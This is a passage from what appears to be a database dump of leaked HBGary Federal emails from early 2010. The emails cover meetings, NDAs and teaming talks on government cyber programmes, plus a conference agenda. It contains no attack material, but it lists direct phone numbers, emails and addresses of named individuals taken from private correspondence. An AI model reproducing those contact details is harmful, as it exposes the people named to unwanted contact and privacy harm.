prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.Neither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010\r\n4:02 PM\r\nTo: Aaron Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n&nbsp;Aaron-&nbsp;Thank you for your\r\ninquiry. We’d be happy to exchange capabilities and explore possible ways\r\nto work together. As I mentioned in my voicemail, tomorrow will be my last day\r\nat SPARTA.\r\nPlease follow-up with Erik Mettala, Chief Scientist for SPARTA’s National Security Sector.\r\nErik’s contact information is erik.mettala@cobham.com,\r\n443-430-8059.&nbsp;\r\n\r\nThanks and regards,-DB&nbsp;------------------------------------------------------------------------------------------------David M. Balenson,\r\nDivision Manager, Security ResearchSPARTA National Security SectorCobham Analytic\r\nSolutionsTel: 443.430.8004Fax: 443.430.8153Email:\r\nDavid.Balenson@cobham.com&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010\r\n11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n&nbsp;Hi Dave,\r\n\r\nI would like to talk to you about\r\nour similar interest in the NWOC BAA. As well I would be interested in getting\r\nan update on your capabilities and likewise get you familiar with ours. I received\r\na briefing more than an year back when I was leading the technical strategy for\r\nNorthrop Grummans cyber campaign. I remember being impressed by your amount of\r\nIP related to cybersecurity. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5254,'aaron_hbgary_com/5254.html'),(1894,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000657.M373028P3547Q1894.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Clearances to NGES for 10 Feb meeting','Teds coming.From my iPhoneOn Feb 2, 2010, at 9:27 AM, &quot;Robinson, Cassie&quot; &lt;Cassie.Robinson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf Ted is coming, you can forward it to him.  Just let me know\r\nso I can let NGES know. \r\n\r\n \r\n\r\ncsr\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:26 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Clearances to NGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks got it.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 9:25 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResent meeting notice --\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February\r\n02, 2010 11:20 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Clearances to\r\nNGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFor some reason I don&#39;t have it in my inbox or calendar...\r\ncould you resend.  Time works great.  Ted may be with me, I am\r\nchecking with him on when he is scheduled to fly back home.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 9:16 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMeeting has been scheduled for 4:00 – 5:00 pm up at NGES – I\r\nsent you the meeting notice yesterday.  Is Ted going to be with you? \r\nI didn’t know that but I will inform Jim’s office.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February\r\n02, 2010 11:14 AM\r\nTo: Robinson, Cassie\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Clearances to\r\nNGES for 10 Feb meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Cassie,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and I don&#39;t have our clearances back yet.  We are\r\nworking on it and I think close on a couple fronts, but not yet.  Also,\r\nThe Office of Naval Research has scheduled a proposers day for a CND/IA BAA on\r\nthat same day from 10-1300.  I am not sure where or when on that day it\r\nwas proposed to be scheduled.  Should I work directly with Jim to get the\r\nbest time?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn my side we can certainly discuss my ideas for improving\r\ncybersecurity at the UNCLASS level.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 8:46 AM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n– please have your clearances sent to NGES.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nscivisitcert@ngc.com or unclass fax:  410-993-5275\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPOC\r\nfor the meeting is Jim Armitage. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know if you need anything else. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ncsr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n tel 703-741-7781 | 1000 Wilson Blvd  | Suite 2300  | Arlington, VA 22209\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA\r\nkind word never broke anyone&#39;s mouth.\r\n-- Irish Proverb   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11721,'aaron_hbgary_com/11721.html'),(1895,'2010-02-02','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297000657.M818394P3547Q1895.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Oden, Jack\" <Jack.Oden@cobham.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Oden, Jack\" <Jack.Oden@cobham.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please meet Jack Oden, our Director\r\nof Business Development.&nbsp; Jack will be coordinating an NDA for the Cyber Genome\r\nprogram.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Regards,\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\nJack,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr is with HBGeary, and will\r\nbe visiting us this week to discuss capabilities and teaming opportunities on\r\nCyber Genome.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Please coordinate putting and NDA in\r\nplace with him.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Thanks,\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before\r\nprinting this email\r\n\r\nThis e-mail and any files transmitted with it\r\n(&quot;E-mail&quot;) is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010\r\n11:47 AM\r\nTo: Mettala, Erik\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Erik,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to our meeting later this week. &nbsp;I would like to\r\nget an NDA in place between our orgs to discuss freely. &nbsp;Would you like me\r\nto send you ours or want to go with yours, I am good either way.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n       \r\n\r\n       \r\n        \r\n       \r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased\r\nto meet you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look\r\nforward to discussing NWOC and other opportunities with you.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\n\r\n\r\nChief Scientist\r\n\r\n\r\n\r\nSPARTA National Security Systems Sector\r\n\r\n\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n\r\n\r\n7110 Samuel Morse Drive\r\n\r\n\r\n\r\nColumbia, MD\r\n 21046\r\n\r\n\r\n\r\nwww.sparta.com\r\n\r\n\r\n\r\nT:&nbsp;443-430-8059\r\n\r\n\r\n\r\nC: 703-209-2221\r\n\r\n\r\n\r\nF: 443-430-8208\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before\r\nprinting this email\r\n\r\n\r\n\r\nThis e-mail and any files transmitted with it\r\n(&quot;E-mail&quot;) is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\n\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010\r\n4:02 PM\r\nTo: Aaron Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your\r\ninquiry. We&#8217;d be happy to exchange capabilities and explore possible ways to\r\nwork together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA.\r\nPlease follow-up with Erik Mettala, Chief Scientist for SPARTA&#8217;s\r\nNational Security Sector. Erik&#8217;s contact information is erik.mettala@cobham.com, 443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson, Division\r\nManager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic\r\nSolutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, January 26, 2010\r\n11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about\r\nour similar interest in the NWOC BAA. As well I would be interested in getting\r\nan update on your capabilities and likewise get you familiar with ours. I\r\nreceived a briefing more than an year back when I was leading the technical\r\nstrategy for Northrop Grummans cyber campaign. I remember being impressed by\r\nyour amount of IP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10785,'aaron_hbgary_com/10785.html'),(1896,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000658.M186026P3547Q1896.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: ISSA briefing','---------- Forwarded message ----------\r\nFrom: Kevin Spease \r\nDate: Tue, Feb 2, 2010 at 9:14 AM\r\nSubject: Re: ISSA briefing\r\nTo: Ted Vera \r\n\r\n\r\nOh, yeah... Absolutely.  We\'re waiting on the abstract but I figure\r\nI\'ll ping him about mid-week.\r\n\r\nHow are things with Cybergenome?  Did you find the right suitor?  If\r\nyou do want me to get you in touch with Telcordia or Textron, let me\r\nknow.  Dr. Foresti said he is putting in a proposal for it but would\r\nbe willing to team.  If you already have a plan in mind, no harm...\r\njust wanted to be sure I offered you what I can.\r\n\r\nKevin\r\n\r\nOn Tue, Feb 2, 2010 at 7:52 AM, Ted Vera  wrote:\r\n>\r\n> Hi Kevin,\r\n>\r\n> It\'s been quiet on my end.  Have you been able to coordinate on the\r\n> details with Penny about briefing at the Feb member meeting?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11956,'aaron_hbgary_com/11956.html'),(1897,'2010-02-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000658.M550528P3547Q1897.eml','\"Phil Wallisch\" <phil@hbgary.com>','Wanting to confirm time','Phil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time.  A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome.  Then we will discuss what HBGary Federal is focused on for services.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6053,'aaron_hbgary_com/6053.html'),(1898,'2010-02-02','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000658.M931428P3547Q1898.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Data Fusion and Visualization for Dynamic Cyber Defense','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you know of this?\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: National Security\r\nCyberspace Institute [mailto:larry.mckee@nsci-va.org] \r\nSent: Monday, February 01, 2010 10:04 AM\r\nTo: National Security Cyberspace Institute\r\nSubject: Data Fusion and Visualization for Dynamic Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n**********\r\n\r\nSecurity in the Clouds\r\n\r\nJoin AFEI members and guests for this unique perspective on\r\nData Fusion and Visualization for a Dynamic Cyber Defense, Feb. 11 in Old Towne\r\nAlexandria, Va. The conference objective is to bring into focus the\r\nintersection of security and cloud computing. This is your opportunity to\r\nengage with senior veteran executives in a cross-agency dialogue amongst\r\nFederal Cyber Operations Centers on cyber intelligence data visualization and\r\nfusion. Seating is limited. Early registration rates are good through Monday,\r\nJan. 11. For more information, visit www.afei.org&nbsp; // http://www.afei.org/events/0A02/Pages/default.aspx\r\n.\r\n\r\n***********\r\n\r\n&nbsp;\r\n\r\nData Fusion and Visualization for Dynamic\r\nCyber Defense\r\n\r\nThe purpose of this conference is to continue and expand the\r\ndialogue begun at two earlier AFEI events: a half-day seminar on Government\r\nCloud Computing which identified the need for brutal standardization and the\r\nopportunity for enhanced security in cloud computing environments; and a Cyber\r\nSecurity Data Fusion and Visualization Roundtable for cyber operations\r\npersonnel from 11 Federal Departments and Agencies that began a cross-agency\r\ndialogue among Federal Cyber Operations Centers on cyber intelligence data\r\nvisualization and fusion.\r\n\r\nThe objective of the conference is to bring into focus the\r\nintersection of security and cloud computing.&nbsp; Questions to be addressed\r\nduring the day include:&nbsp; \r\n\r\n\r\n Can a cloud environment be designed to be more\r\n     secure than current network environments; \r\n How can organizations become more predictive and\r\n     less reactive in CND; \r\n How and to what extent analysis can be automated; \r\n How to integrate disparate data; \r\n How to link cyber events to business and mission; \r\n What sources of intelligence can be brought to\r\n     bear; and \r\n What extant obstacles to information sharing for\r\n     shared situational awareness need to be overcome?\r\n\r\n\r\nAgenda&nbsp; \r\n\r\n8:30&nbsp;AM&nbsp;Opening and Welcome\r\n\r\nConference Chair - Mark Fedak, Risk Defense\r\n\r\nKeynote Presentations\r\n\r\n\r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Government Keynote: \r\n  Mr. Steve Shirley, Executive Director, Department of Defense Cyber Crime\r\n  Center \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Industry Keynote:\r\n  Thomas Fuhrman, Senior Vice President, Booz Allen Hamilton\r\n  specializing in cyber and information assurance support for the U.S.\r\n  Department of Defense\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n10:00 AM - Networking Break\r\n\r\n10:30 AM - Panel: Secure Clouds for Dynamic\r\nDefense\r\n\r\n\r\n \r\n  \r\n  Will clouds provide the ability to support executive,\r\n  analytic, compliance and information assurance requirements?&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp;&nbsp;John\r\n  McLaughlin,&nbsp;Deputy CTO - Security, IBM\r\n  Federal&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   Patrick Stingley, CTO, Bureau\r\n       of Land Management \r\n   David S. Linthicum, author of\r\n       &#8220;Cloud Computing and SOA Convergence&#8221; \r\n   J P Morgenthal, Senior\r\n       Principal Architect, QinetiQ North America\r\n  \r\n  \r\n \r\n\r\n\r\n12:00 PM - Lunch\r\n\r\n1:15 PM - Panel:&nbsp;Visualization of Cyber Operations\r\nInformation \r\n\r\n\r\n \r\n  \r\n  Making data accessible and understandable by users and\r\n  analysts&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   COL Steve McPherson, USAF,&nbsp;Senior\r\n       Strategy Advisor Cyber-Command, US Coast Guard\r\n       Thomas\r\n       Lam,\r\n       OASD(NII)/DoD CIO Lead for Enterprise Ops &amp; Cyber Security \r\n   Daniel Blum, Senior VP\r\n       &amp; Principal Analyst, Burton Group\r\n  \r\n  \r\n \r\n\r\n\r\n2:45 PM - Networking Break\r\n\r\n3:15 PM - Panel: Fusing Data and Analytics\r\n\r\n\r\n \r\n  \r\n  Better security postures and rapid response to computer security\r\n  threats, vulnerabilities, and incidents.&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n \r\n \r\n  \r\n  Panel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   Bill Eber, Director,\r\n       Defense Cyber Crime Institute \r\n   Kevin Bingham,\r\n       ASD(NII)/DASD(CIIA) (Invited) \r\n   LtCol Joe Wolfkiel, USAF,\r\n       Director,&nbsp;CND R&amp;T PMO, NSA \r\n   Gary Elliott, NSA 4011\r\n       Information Assurance, Chief Information Assurance Officer\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5108,'aaron_hbgary_com/5108.html'),(1899,'2010-02-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000659.M175246P3547Q1899.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: ARSTRAT Discussions @ Wed Feb 3 11am - 1pm 	(aaron@hbgary.com)','Ted Vera has declined this invitation.ARSTRAT DiscussionsWhenWed Feb 3 11am – 1pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;ted@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3637,'aaron_hbgary_com/3637.html'),(1900,'2010-02-02','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000659.M608423P3547Q1900.eml','\"Aaron Barr\" <aaron@hbgary.com>','Event declined: ARSTRAT Discussions','Ted Vera has declined your iCal event invitation to the event: ARSTRAT Discussions, scheduled for February 3, 2010 at 4:00 PM (GMT+00:00).\r\n',708,'aaron_hbgary_com/708.html'),(1901,'2010-02-02','\"Oden, Jack\" <Jack.Oden@cobham.com>','/aaron@hbgary.com/new/1297000661.M689594P3547Q1901.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Cyber 